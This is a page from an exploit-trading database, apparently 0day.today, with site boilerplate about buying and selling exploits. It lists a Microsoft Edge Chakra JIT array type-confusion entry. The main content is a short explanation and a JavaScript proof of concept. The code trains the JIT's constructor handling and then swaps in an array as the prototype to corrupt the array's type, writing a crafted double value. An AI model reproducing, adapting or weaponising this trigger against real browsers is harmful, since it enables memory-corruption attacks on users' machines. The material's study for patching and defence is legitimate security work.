0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Microsoft Edge Chakra JIT - NewScObjectNoCtor Array Type Confusion Exploit
Author
Risk
[Security Risk Medium
]0day-ID
Category
Date add
CVE
Platform
/*
This is similar to the previous issues 1457, 1459 (MSRC 42551, MSRC 42552).
If a JavaScript function is used as a consturctor, it sets the new object's "__proto__" to its "prototype". The JIT compiler uses NewScObjectNoCtor instructions to perform it, but those instructions are not checked by CheckJsArrayKills which is used to validate the array information.
PoC:
*/
function inlinee() {
}
function opt(arr) {
arr[0] = 1.1;
new inlinee();
arr[0] = 2.3023e-320;
}
function main() {
let arr = [1.1];
for (let i = 0; i < 10000; i++) {
inlinee.prototype = {};
opt(arr);
}
inlinee.prototype = arr;
opt(arr);
print(arr);
}
main();
# 0day.today [2024-11-16] #